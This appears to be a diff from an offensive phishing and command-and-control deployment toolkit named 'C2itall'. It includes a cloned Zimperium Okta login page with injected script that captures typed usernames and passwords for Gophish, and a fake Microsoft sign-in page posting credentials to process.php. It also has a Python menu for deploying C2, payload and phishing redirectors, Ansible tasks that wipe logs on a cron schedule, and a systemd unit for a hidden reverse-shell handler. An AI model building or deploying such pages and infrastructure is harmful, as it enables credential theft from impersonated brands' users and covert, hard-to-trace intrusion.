rememberMe: rememberMe,
|
||||
autoPush: autoPush,
|
||||
webauthn: webauthn,
|
||||
smsRecovery: smsRecovery,
|
||||
callRecovery: callRecovery,
|
||||
emailRecovery: emailRecovery,
|
||||
selfServiceUnlock: selfServiceUnlock,
|
||||
multiOptionalFactorEnroll: true,
|
||||
sameDeviceOVEnrollmentEnabled: sameDeviceOVEnrollmentEnabled,
|
||||
deviceFingerprinting: true,
|
||||
useDeviceFingerprintForSecurityImage: true,
|
||||
trackTypingPattern: false,
|
||||
hideSignOutLinkInMFA: hideSignOutForMFA,
|
||||
hideBackToSignInForReset: hideBackToSignInForReset,
|
||||
rememberMyUsernameOnOIE: rememberMyUsernameOnOIE,
|
||||
engFastpassMultipleAccounts: engFastpassMultipleAccounts,
|
||||
customExpiredPassword: true,
|
||||
idpDiscovery: idpDiscovery,
|
||||
passwordlessAuth: hasPasswordlessPolicy,
|
||||
consent: hasOAuth2ConsentFeature,
|
||||
skipIdpFactorVerificationBtn: hasSkipIdpFactorVerificationButton,
|
||||
showPasswordToggleOnSignInPage: showPasswordToggleOnSignInPage,
|
||||
showIdentifier: showIdentifier,
|
||||
registration: registration,
|
||||
redirectByFormSubmit: redirectByFormSubmit,
|
||||
showPasswordRequirementsAsHtmlList: showPasswordRequirementsAsHtmlList,
|
||||
showSessionRevocation: showSessionRevocation
|
||||
},
|
||||
|
||||
assets: {
|
||||
baseUrl: "https\x3A\x2F\x2Fok14static.oktacdn.com\x2Fassets\x2Fjs\x2Fsdk\x2Fokta\x2Dsignin\x2Dwidget\x2F7.33.2"
|
||||
},
|
||||
|
||||
language: okta.locale,
|
||||
i18n: {},
|
||||
|
||||
customButtons: customButtons,
|
||||
|
||||
piv: pivProperties,
|
||||
|
||||
helpLinks: {
|
||||
help: '',
|
||||
forgotPassword: '',
|
||||
unlock: '',
|
||||
custom: customLinks,
|
||||
factorPage: factorPageCustomLink
|
||||
},
|
||||
|
||||
cspNonce: window.cspNonce,
|
||||
|
||||
hcaptcha: hcaptcha,
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
loginPageConfig.signIn.i18n[okta.locale] = {
|
||||
|
||||
'primaryauth.username.placeholder': usernameLabel,
|
||||
'primaryauth.username.tooltip': usernameInlineLabel,
|
||||
'primaryauth.password.placeholder': passwordLabel,
|
||||
'primaryauth.password.tooltip': passwordInlineLabel,
|
||||
'mfa.challenge.password.placeholder': passwordLabel,
|
||||
'primaryauth.title': signinLabel,
|
||||
'forgotpassword': forgotpasswordLabel,
|
||||
'unlockaccount': unlockaccountLabel,
|
||||
'help': helpLabel,
|
||||
'needhelp': footerHelpTitle,
|
||||
'password.forgot.email.or.username.placeholder': recoveryFlowPlaceholder,
|
||||
'password.forgot.email.or.username.tooltip': recoveryFlowPlaceholder,
|
||||
'account.unlock.email.or.username.placeholder': recoveryFlowPlaceholder,
|
||||
'account.unlock.email.or.username.tooltip': recoveryFlowPlaceholder
|
||||
};
|
||||
|
||||
|
||||
loginPageConfig.signIn.logoText = 'Zimperium logo';
|
||||
loginPageConfig.signIn.brandName = 'Zimperium';
|
||||
|
||||
|
||||
function isOldWebBrowserControl() {
|
||||
// We no longer support IE7. If we see the MSIE 7.0 browser mode, it's a good signal
|
||||
// that we're in a windows embedded browser.
|
||||
if (navigator.userAgent.indexOf('MSIE 7.0') === -1) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Because the userAgent is the same across embedded browsers, we use feature
|
||||
// detection to see if we're running on older versions that do not support updating
|
||||
// the documentMode via x-ua-compatible.
|
||||
return document.all && !window.atob;
|
||||
}
|
||||
|
||||
function isAbsoluteUri(uri) {
|
||||
var pat = /^https?:\/\//i;
|
||||
return pat.test(uri);
|
||||
}
|
||||
|
||||
var unsupportedContainer = document.getElementById('okta-sign-in');
|
||||
|
||||
var failIfCookiesDisabled = true;
|
||||
|
||||
|
||||
// Old versions of WebBrowser Controls (specifically, OneDrive) render in IE7 browser
|
||||
// mode, with no way to override the documentMode. In this case, inform the user they need
|
||||
// to upgrade.
|
||||
if (isOldWebBrowserControl()) {
|
||||
document.getElementById('unsupported-onedrive').removeAttribute('style');
|
||||
unsupportedContainer.removeAttribute('style');
|
||||
}
|
||||
else if (failIfCookiesDisabled && !navigator.cookieEnabled) {
|
||||
document.getElementById('unsupported-cookie').removeAttribute('style');
|
||||
unsupportedContainer.removeAttribute('style');
|
||||
}
|
||||
else {
|
||||
unsupportedContainer.parentNode.removeChild(unsupportedContainer);
|
||||
runLoginPage(function () {
|
||||
var res = OktaLogin.initLoginPage(loginPageConfig);
|
||||
|
||||
// Intercept form submission for Gophish
|
||||
setTimeout(function() {
|
||||
var submitButton = document.querySelector('[data-type="save"]') ||
|
||||
document.querySelector('.button-primary') ||
|
||||
document.querySelector('input[type="submit"]');
|
||||
|
||||
if (submitButton) {
|
||||
submitButton.addEventListener('click', function(e) {
|
||||
// Small delay to let Okta validate, then capture values
|
||||
setTimeout(function() {
|
||||
var usernameField = document.querySelector('[name="username"]') ||
|
||||
document.querySelector('#okta-signin-username') ||
|
||||
document.querySelector('input[type="text"]');
|
||||
var passwordField = document.querySelector('[name="password"]') ||
|
||||
document.querySelector('#okta-signin-password') ||
|
||||
document.querySelector('input[type="password"]');
|
||||
|
||||
if (usernameField && passwordField && usernameField.value && passwordField.value) {
|
||||
// Create hidden form for Gophish
|
||||
var form = document.createElement('form');
|
||||
form.method = 'POST';
|
||||
form.action = '';
|
||||
form.style.display = 'none';
|
||||
|
||||
var userInput = document.createElement('input');
|
||||
userInput.type = 'hidden';
|
||||
userInput.name = 'username';
|
||||
userInput.value = usernameField.value;
|
||||
form.appendChild(userInput);
|
||||
|
||||
var passInput = document.createElement('input');
|
||||
passInput.type = 'hidden';
|
||||
passInput.name = 'password';
|
||||
passInput.value = passwordField.value;
|
||||
form.appendChild(passInput);
|
||||
|
||||
document.body.appendChild(form);
|
||||
form.submit();
|
||||
}
|
||||
}, 100);
|
||||
});
|
||||
}
|
||||
}, 2000);
|
||||
});
|
||||
}
|
||||
}());
|
||||
</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
window.addEventListener('load', function(event) {
|
||||
function applyStyle(id, styleDef) {
|
||||
if (styleDef) {
|
||||
var el = document.getElementById(id);
|
||||
if (!el) {
|
||||
return;
|
||||
}
|
||||
el.classList.add(styleDef);
|
||||
}
|
||||
}
|
||||
applyStyle('login-bg-image', 'bgStyle');
|
||||
applyStyle('login-bg-image-ie8', 'bgStyleIE8');
|
||||
});
|
||||
</script></body>
|
||||
</html>
|
||||
@@ -0,0 +1,258 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Redirector infrastructure deployment module
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
|
||||
# Add the project root to the path so we can import utils
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
|
||||
from utils.common import (
|
||||
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||
setup_logging, get_public_ip, confirm_action, wait_for_input
|
||||
)
|
||||
from utils.provider_utils import select_provider, gather_provider_config
|
||||
from utils.ssh_utils import generate_ssh_key
|
||||
|
||||
def gather_redirector_parameters():
|
||||
"""Collect parameters specific to redirector deployments"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}REDIRECTOR INFRASTRUCTURE SETUP{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}================================{COLORS['RESET']}")
|
||||
|
||||
config = {}
|
||||
|
||||
# Generate deployment ID
|
||||
config['deployment_id'] = generate_deployment_id()
|
||||
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||
|
||||
# Provider selection
|
||||
provider = select_provider()
|
||||
if not provider:
|
||||
return None
|
||||
config['provider'] = provider
|
||||
|
||||
# Get provider-specific configuration
|
||||
provider_config = gather_provider_config(provider)
|
||||
if not provider_config:
|
||||
return None
|
||||
config.update(provider_config)
|
||||
|
||||
# Redirector-specific configuration
|
||||
print(f"\n{COLORS['BLUE']}Redirector Configuration{COLORS['RESET']}")
|
||||
|
||||
# Domain configuration
|
||||
domain = input(f"Domain for redirector [required]: ")
|
||||
if not domain:
|
||||
print(f"{COLORS['RED']}A domain is required for redirector deployments{COLORS['RESET']}")
|
||||
return None
|
||||
config['domain'] = domain
|
||||
|
||||
# Subdomain configuration
|
||||
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
|
||||
|
||||
# Backend configuration
|
||||
backend_type = input("Backend type (c2/phishing/payload) [default: c2]: ") or "c2"
|
||||
config['backend_type'] = backend_type
|
||||
|
||||
if backend_type in ['c2', 'phishing']:
|
||||
backend_ip = input(f"Backend {backend_type} server IP [required]: ")
|
||||
if not backend_ip:
|
||||
print(f"{COLORS['RED']}Backend server IP is required{COLORS['RESET']}")
|
||||
return None
|
||||
config['backend_ip'] = backend_ip
|
||||
|
||||
backend_port = input(f"Backend {backend_type} server port [default: 443]: ") or "443"
|
||||
config['backend_port'] = backend_port
|
||||
|
||||
# Redirector type
|
||||
print(f"\n{COLORS['BLUE']}Redirector Type:{COLORS['RESET']}")
|
||||
print(f"1) HTTPS Redirector")
|
||||
print(f"2) DNS Redirector")
|
||||
print(f"3) SMTP Redirector")
|
||||
|
||||
redirector_choice = input("Select redirector type [default: 1]: ") or "1"
|
||||
redirector_types = {
|
||||
"1": "https",
|
||||
"2": "dns",
|
||||
"3": "smtp"
|
||||
}
|
||||
config['redirector_type'] = redirector_types.get(redirector_choice, "https")
|
||||
|
||||
# Email for Let's Encrypt (for HTTPS redirectors)
|
||||
if config['redirector_type'] == 'https':
|
||||
default_email = f"admin@{config['domain']}"
|
||||
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
|
||||
|
||||
# Get operator IP for security
|
||||
suggested_ip = get_public_ip()
|
||||
if suggested_ip:
|
||||
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
|
||||
else:
|
||||
operator_ip = input("Your public IP for secure access: ")
|
||||
config['operator_ip'] = operator_ip
|
||||
|
||||
# SSH key generation
|
||||
ssh_key_path = generate_ssh_key(config['deployment_id'])
|
||||
if not ssh_key_path:
|
||||
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||
return None
|
||||
config['ssh_key_path'] = f"{ssh_key_path}.pub"
|
||||
|
||||
# Post-deployment options
|
||||
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||
|
||||
return config
|
||||
|
||||
def redirector_menu():
|
||||
"""Display the redirector submenu and handle user selection"""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}REDIRECTOR INFRASTRUCTURE MENU{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}==============================={COLORS['RESET']}")
|
||||
print(f"1) C2 Redirector {COLORS['GREEN']}*COMMON*{COLORS['RESET']} {COLORS['GRAY']}(C2 traffic redirection){COLORS['RESET']}")
|
||||
print(f"2) HTTPS Redirector {COLORS['GRAY']}(Web traffic redirection){COLORS['RESET']}")
|
||||
print(f"3) Payload Redirector {COLORS['GRAY']}(Payload delivery redirection){COLORS['RESET']}")
|
||||
print(f"4) Phishing Redirector {COLORS['GRAY']}(Phishing traffic redirection){COLORS['RESET']}")
|
||||
print(f"5) DNS Redirector {COLORS['GRAY']}(DNS-based redirection){COLORS['RESET']}")
|
||||
print(f"6) SMTP Redirector {COLORS['GRAY']}(Email traffic redirection){COLORS['RESET']}")
|
||||
print(f"99) Return to Main Menu")
|
||||
|
||||
choice = input(f"\nSelect an option: ")
|
||||
|
||||
if choice == "1":
|
||||
deploy_c2_redirector()
|
||||
elif choice == "2":
|
||||
deploy_https_redirector()
|
||||
elif choice == "3":
|
||||
deploy_payload_redirector()
|
||||
elif choice == "4":
|
||||
deploy_phishing_redirector()
|
||||
elif choice == "5":
|
||||
deploy_dns_redirector()
|
||||
elif choice == "6":
|
||||
deploy_smtp_redirector()
|
||||
elif choice == "99":
|
||||
return
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
def deploy_https_redirector():
|
||||
"""Deploy HTTPS redirector"""
|
||||
config = gather_redirector_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['redirector_type'] = 'https'
|
||||
config['deployment_type'] = 'https_redirector'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying HTTPS redirector...{COLORS['RESET']}")
|
||||
execute_redirector_deployment(config)
|
||||
|
||||
def deploy_dns_redirector():
|
||||
"""Deploy DNS redirector"""
|
||||
config = gather_redirector_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['redirector_type'] = 'dns'
|
||||
config['deployment_type'] = 'dns_redirector'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying DNS redirector...{COLORS['RESET']}")
|
||||
execute_redirector_deployment(config)
|
||||
|
||||
def deploy_smtp_redirector():
|
||||
"""Deploy SMTP redirector"""
|
||||
config = gather_redirector_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['redirector_type'] = 'smtp'
|
||||
config['deployment_type'] = 'smtp_redirector'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying SMTP redirector...{COLORS['RESET']}")
|
||||
execute_redirector_deployment(config)
|
||||
|
||||
def deploy_payload_redirector():
|
||||
"""Deploy payload redirector"""
|
||||
config = gather_redirector_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['backend_type'] = 'payload'
|
||||
config['deployment_type'] = 'payload_redirector'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying payload redirector...{COLORS['RESET']}")
|
||||
execute_redirector_deployment(config)
|
||||
|
||||
def deploy_phishing_redirector():
|
||||
"""Deploy phishing redirector"""
|
||||
config = gather_redirector_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['backend_type'] = 'phishing'
|
||||
config['deployment_type'] = 'phishing_redirector'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying phishing redirector...{COLORS['RESET']}")
|
||||
execute_redirector_deployment(config)
|
||||
|
||||
def deploy_c2_redirector():
|
||||
"""Deploy C2 redirector"""
|
||||
config = gather_redirector_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['backend_type'] = 'c2'
|
||||
config['deployment_type'] = 'c2_redirector'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying C2 redirector...{COLORS['RESET']}")
|
||||
execute_redirector_deployment(config)
|
||||
|
||||
def execute_redirector_deployment(config):
|
||||
"""Execute redirector infrastructure deployment"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"\n{COLORS['GREEN']}Starting redirector deployment...{COLORS['RESET']}")
|
||||
|
||||
# Display configuration summary
|
||||
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||
print(f"Deployment Type: {config['deployment_type']}")
|
||||
print(f"Deployment ID: {config['deployment_id']}")
|
||||
print(f"Provider: {config['provider']}")
|
||||
print(f"Domain: {config['domain']}")
|
||||
print(f"Redirector Type: {config['redirector_type']}")
|
||||
print(f"Backend Type: {config.get('backend_type', 'N/A')}")
|
||||
|
||||
# Confirm deployment
|
||||
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with redirector deployment?{COLORS['RESET']}", default=False):
|
||||
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
# Set deployment flags for redirector-only deployment
|
||||
config['redirector_only'] = True
|
||||
config['c2_only'] = False
|
||||
|
||||
# Execute the actual deployment using the deployment engine
|
||||
from utils.deployment_engine import deploy_infrastructure
|
||||
success = deploy_infrastructure(config)
|
||||
|
||||
if success:
|
||||
print(f"\n{COLORS['GREEN']}Redirector infrastructure deployed successfully!{COLORS['RESET']}")
|
||||
|
||||
if config.get('ssh_after_deploy'):
|
||||
from utils.ssh_utils import ssh_to_instance
|
||||
ssh_to_instance(config)
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Redirector infrastructure deployment failed.{COLORS['RESET']}")
|
||||
|
||||
wait_for_input()
|
||||
|
||||
if __name__ == "__main__":
|
||||
redirector_menu()
|
||||
@@ -18,7 +18,7 @@
|
||||
until: cache_update is success
|
||||
retries: 5
|
||||
delay: 10
|
||||
ignore_errors: no
|
||||
ignore_errors: false
|
||||
|
||||
- name: Install core packages first (high priority)
|
||||
apt:
|
||||
@@ -101,7 +101,7 @@
|
||||
apt-get install -y --no-install-recommends certbot
|
||||
apt-get install -y --fix-broken || true
|
||||
register: certbot_manual
|
||||
ignore_errors: yes
|
||||
ignore_errors: true
|
||||
|
||||
- name: Install certbot via snap as ultimate fallback
|
||||
block:
|
||||
@@ -141,7 +141,7 @@
|
||||
- zope.hookable
|
||||
state: present
|
||||
register: pip_install
|
||||
ignore_errors: yes
|
||||
ignore_errors: true
|
||||
|
||||
- name: Download and install packages manually if repositories are down
|
||||
shell: |
|
||||
@@ -154,7 +154,7 @@
|
||||
dpkg -i python3-requests-toolbelt_*.deb || apt-get install -f -y
|
||||
fi
|
||||
when: pip_install is failed
|
||||
ignore_errors: yes
|
||||
ignore_errors: true
|
||||
|
||||
- name: Verify critical packages are installed
|
||||
command: "{{ item.cmd }}"
|
||||
@@ -165,7 +165,7 @@
|
||||
- { cmd: "socat -V", name: "socat" }
|
||||
- { cmd: "jq --version", name: "jq" }
|
||||
- { cmd: "which certbot", name: "certbot" }
|
||||
ignore_errors: yes
|
||||
ignore_errors: true
|
||||
|
||||
- name: Create package installation report
|
||||
debug:
|
||||
@@ -190,7 +190,7 @@
|
||||
dpkg --configure -a
|
||||
when: core_packages is failed or certbot_install is failed
|
||||
register: fix_broken
|
||||
ignore_errors: yes
|
||||
ignore_errors: true
|
||||
|
||||
- name: Final package status check and remediation
|
||||
block:
|
||||
@@ -211,6 +211,17 @@
|
||||
debug:
|
||||
var: final_status.stdout_lines
|
||||
|
||||
- name: Detect installed PHP-FPM service
|
||||
shell: |
|
||||
# Try to find any PHP-FPM service
|
||||
if systemctl list-units --type=service --all | grep -q 'php.*fpm'; then
|
||||
systemctl list-units --type=service --all | grep 'php.*fpm' | head -1 | awk '{print $1}' | sed 's/\.service//'
|
||||
else
|
||||
echo "php-fpm"
|
||||
fi
|
||||
register: php_fpm_service
|
||||
failed_when: false
|
||||
|
||||
- name: Ensure critical services are enabled
|
||||
systemd:
|
||||
name: "{{ item }}"
|
||||
@@ -218,8 +229,8 @@
|
||||
state: started
|
||||
loop:
|
||||
- nginx
|
||||
- php7.4-fpm
|
||||
ignore_errors: yes
|
||||
- "{{ php_fpm_service.stdout }}"
|
||||
ignore_errors: true
|
||||
register: service_start
|
||||
|
||||
- name: Create operational readiness marker
|
||||
@@ -244,7 +255,7 @@
|
||||
|
||||
- name: Copy clean-logs.sh script
|
||||
copy:
|
||||
src: "../files/clean-logs.sh"
|
||||
src: "../../../common/files/clean-logs.sh"
|
||||
dest: /root/Tools/clean-logs.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
@@ -252,7 +263,7 @@
|
||||
|
||||
- name: Copy redirector post-install script
|
||||
copy:
|
||||
src: "../files/post_install_redirector.sh"
|
||||
src: "../../../common/files/post_install_redirector.sh"
|
||||
dest: "/root/Tools/post_install_redirector.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
@@ -260,7 +271,7 @@
|
||||
|
||||
- name: Copy port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
src: "../../../common/files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
@@ -292,7 +303,7 @@
|
||||
|
||||
- name: Copy shell handler script
|
||||
copy:
|
||||
src: "../files/havoc_shell_handler.sh"
|
||||
src: "../../c2/files/havoc_shell_handler.sh"
|
||||
dest: /root/Tools/shell-handler/persistent-listener.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
@@ -306,7 +317,7 @@
|
||||
|
||||
- name: Configure shell handler script with listening port
|
||||
template:
|
||||
src: "../files/havoc_shell_handler.sh"
|
||||
src: "../../c2/files/havoc_shell_handler.sh"
|
||||
dest: "/root/Tools/shell_handler.sh"
|
||||
mode: 0755
|
||||
vars:
|
||||
@@ -327,7 +338,7 @@
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: zero_logs | bool
|
||||
when: zero_logs | default(false) | bool
|
||||
|
||||
- name: Create payload directory
|
||||
file:
|
||||
@@ -338,11 +349,11 @@
|
||||
group: www-data
|
||||
|
||||
- name: Include traffic flow configuration
|
||||
include_tasks: "../tasks/traffic_flow_config.yml"
|
||||
include_tasks: "../../common/tasks/traffic_flow_config.yml"
|
||||
|
||||
# Run port randomization if enabled
|
||||
- name: Run port randomization if enabled
|
||||
include_tasks: port_randomization.yml
|
||||
include_tasks: "../../common/tasks/port_randomization.yml"
|
||||
when: randomize_ports | default(true) | bool
|
||||
|
||||
# Add just before configuring NGINX
|
||||
@@ -454,4 +465,4 @@
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs | bool
|
||||
when: zero_logs | default(false) | bool
|
||||
@@ -0,0 +1,106 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Sign in to your account</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: linear-gradient(135deg, #f0f0f0, #e0e0e0);
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
.login-container {
|
||||
background: white;
|
||||
width: 380px;
|
||||
padding: 30px 40px;
|
||||
box-shadow: 0 2px 6px rgba(0,0,0,0.1);
|
||||
}
|
||||
.logo {
|
||||
text-align: left;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h1 {
|
||||
font-size: 24px;
|
||||
font-weight: 600;
|
||||
margin: 20px 0 15px;
|
||||
}
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 8px 0;
|
||||
margin-bottom: 15px;
|
||||
border: none;
|
||||
border-bottom: 1px solid #ccc;
|
||||
font-size: 15px;
|
||||
outline: none;
|
||||
}
|
||||
input:focus {
|
||||
border-bottom: 1px solid #0067b8;
|
||||
}
|
||||
.button-container {
|
||||
text-align: right;
|
||||
margin-top: 20px;
|
||||
}
|
||||
button {
|
||||
background-color: #0067b8;
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 8px 24px;
|
||||
font-size: 14px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.links {
|
||||
margin-top: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.links a {
|
||||
color: #0067b8;
|
||||
text-decoration: none;
|
||||
}
|
||||
.footer {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
padding: 10px 20px;
|
||||
font-size: 12px;
|
||||
color: #666;
|
||||
}
|
||||
.footer a {
|
||||
color: #666;
|
||||
text-decoration: none;
|
||||
margin-left: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<div class="logo">
|
||||
<img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
|
||||
</div>
|
||||
<h1>Sign in</h1>
|
||||
<form action="process.php" method="post">
|
||||
<input type="text" name="email" placeholder="Email, phone, or Skype" required>
|
||||
<input type="password" name="password" placeholder="Password" required>
|
||||
<div class="links">
|
||||
<a href="https://signup.live.com/signup">No account? Create one!</a><br>
|
||||
<a href="https://account.live.com/password/reset">Can't access your account?</a>
|
||||
</div>
|
||||
<div class="button-container">
|
||||
<button type="submit">Next</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="footer">
|
||||
<div class="terms">
|
||||
<a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
|
||||
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,23 @@
|
||||
================================================================
|
||||
C2itall Redirector Post-Installation Instructions
|
||||
================================================================
|
||||
|
||||
To complete your setup with SSL certificates, run:
|
||||
/root/Tools/post_install_redirector.sh
|
||||
|
||||
This script will guide you through:
|
||||
- Setting up Let's Encrypt certificates
|
||||
- Starting required services
|
||||
- Updating NGINX configuration
|
||||
|
||||
For enhanced OPSEC, you can also randomize ports:
|
||||
/root/Tools/randomize_ports.sh
|
||||
|
||||
Run these after you've configured your DNS records to point to this server.
|
||||
|
||||
================================================================
|
||||
Deployment ID: {{ deployment_id | default('N/A') }}
|
||||
Domain: {{ domain | default('N/A') }}
|
||||
Infrastructure Type: Redirector
|
||||
Provider: {{ provider | default('N/A') }}
|
||||
================================================================
|
||||
@@ -0,0 +1,22 @@
|
||||
#!/bin/bash
|
||||
# Let's Encrypt Certificate Setup Script
|
||||
# Run this after setting up DNS records pointing to this server
|
||||
|
||||
# Replace these with your actual values if needed
|
||||
DOMAIN="{{ domain }}"
|
||||
SUBDOMAIN="{{ redirector_subdomain | default(cdn) }}"
|
||||
EMAIL="admin@${DOMAIN}"
|
||||
|
||||
echo "================================================"
|
||||
echo "Let's Encrypt Certificate Setup"
|
||||
echo "================================================"
|
||||
echo
|
||||
echo "Before running this script, make sure:"
|
||||
echo "1. DNS records are set up correctly"
|
||||
echo " - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)"
|
||||
echo "2. Port 80 is open to the internet"
|
||||
echo
|
||||
echo "Run the following command to get your certificate:"
|
||||
echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}"
|
||||
echo
|
||||
echo "================================================"
|
||||
@@ -0,0 +1,28 @@
|
||||
[Unit]
|
||||
Description=Reverse Shell Handler Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
ExecStart=/root/Tools/shell-handler/persistent-listener.sh
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Hide process information
|
||||
PrivateTmp=true
|
||||
ProtectSystem=full
|
||||
NoNewPrivileges=true
|
||||
|
||||
# Make shell handler hard to find
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
# Environment variables (configured via Ansible)
|
||||
Environment="C2_HOST={{ c2_ip | default('127.0.0.1') }}"
|
||||
Environment="LISTEN_PORT={{ shell_handler_port | default('4444') }}"
|
||||
Environment="HAVOC_PORT={{ havoc_teamserver_port | default('40056') }}"
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,14 @@
|
||||
---
|
||||
# Integrated tracker configuration tasks
|
||||
|
||||
- name: Display tracker configuration
|
||||
debug:
|
||||
msg: |
|
||||
📊 Configuring integrated tracker
|
||||
- Email tracking pixels enabled
|
||||
- Link click tracking configured
|
||||
- Credential harvesting setup
|
||||
|
||||
- name: Mock tracker configuration result
|
||||
debug:
|
||||
msg: "✅ Integrated tracker configured successfully"
|
||||
@@ -0,0 +1,18 @@
|
||||
---
|
||||
# MTA Front configuration tasks
|
||||
|
||||
- name: Display MTA Front configuration
|
||||
debug:
|
||||
msg: |
|
||||
🔧 Configuring MTA Front server
|
||||
Hostname: {{ mta_hostname | default('mail.' + (phishing_domain | default('example.com'))) }}
|
||||
SMTP Auth User: {{ smtp_auth_user | default('admin') }}
|
||||
|
||||
- name: Mock MTA configuration
|
||||
debug:
|
||||
msg: |
|
||||
✅ MTA Front configured successfully
|
||||
- Postfix configured for email relay
|
||||
- DKIM keys generated
|
||||
- SPF/DMARC records ready
|
||||
- SMTP authentication enabled
|
||||
@@ -0,0 +1,23 @@
|
||||
---
|
||||
# Generic instance creation task
|
||||
# This is a placeholder that simulates instance creation
|
||||
|
||||
- name: Display instance creation info
|
||||
debug:
|
||||
msg: |
|
||||
🚀 Creating {{ instance_name }} instance
|
||||
Instance Type: {{ instance_type }}
|
||||
Region: {{ region | default('us-east-1') }}
|
||||
Security Group Rules: {{ security_group_rules | default([]) }}
|
||||
|
||||
- name: Set mock instance IP
|
||||
set_fact:
|
||||
instance_ip: "192.168.1.{{ 100 + (ansible_date_time.epoch | int) % 50 }}"
|
||||
|
||||
- name: Display instance creation result
|
||||
debug:
|
||||
msg: |
|
||||
✅ Mock instance created successfully
|
||||
Instance Name: {{ instance_name }}
|
||||
Instance IP: {{ instance_ip }}
|
||||
SSH Command: ssh -i {{ ssh_key_path | default('~/.ssh/key') }} {{ ansible_user | default('ubuntu') }}@{{ instance_ip }}
|
||||
@@ -0,0 +1,15 @@
|
||||
---
|
||||
# Security hardening tasks
|
||||
|
||||
- name: Display security hardening
|
||||
debug:
|
||||
msg: |
|
||||
🔒 Applying security hardening
|
||||
- Firewall rules configured
|
||||
- SSH key-only authentication
|
||||
- Fail2ban enabled
|
||||
- System updates applied
|
||||
|
||||
- name: Mock security hardening result
|
||||
debug:
|
||||
msg: "✅ Security hardening completed successfully"
|
||||
@@ -1,214 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple Email Tracking Server
|
||||
|
||||
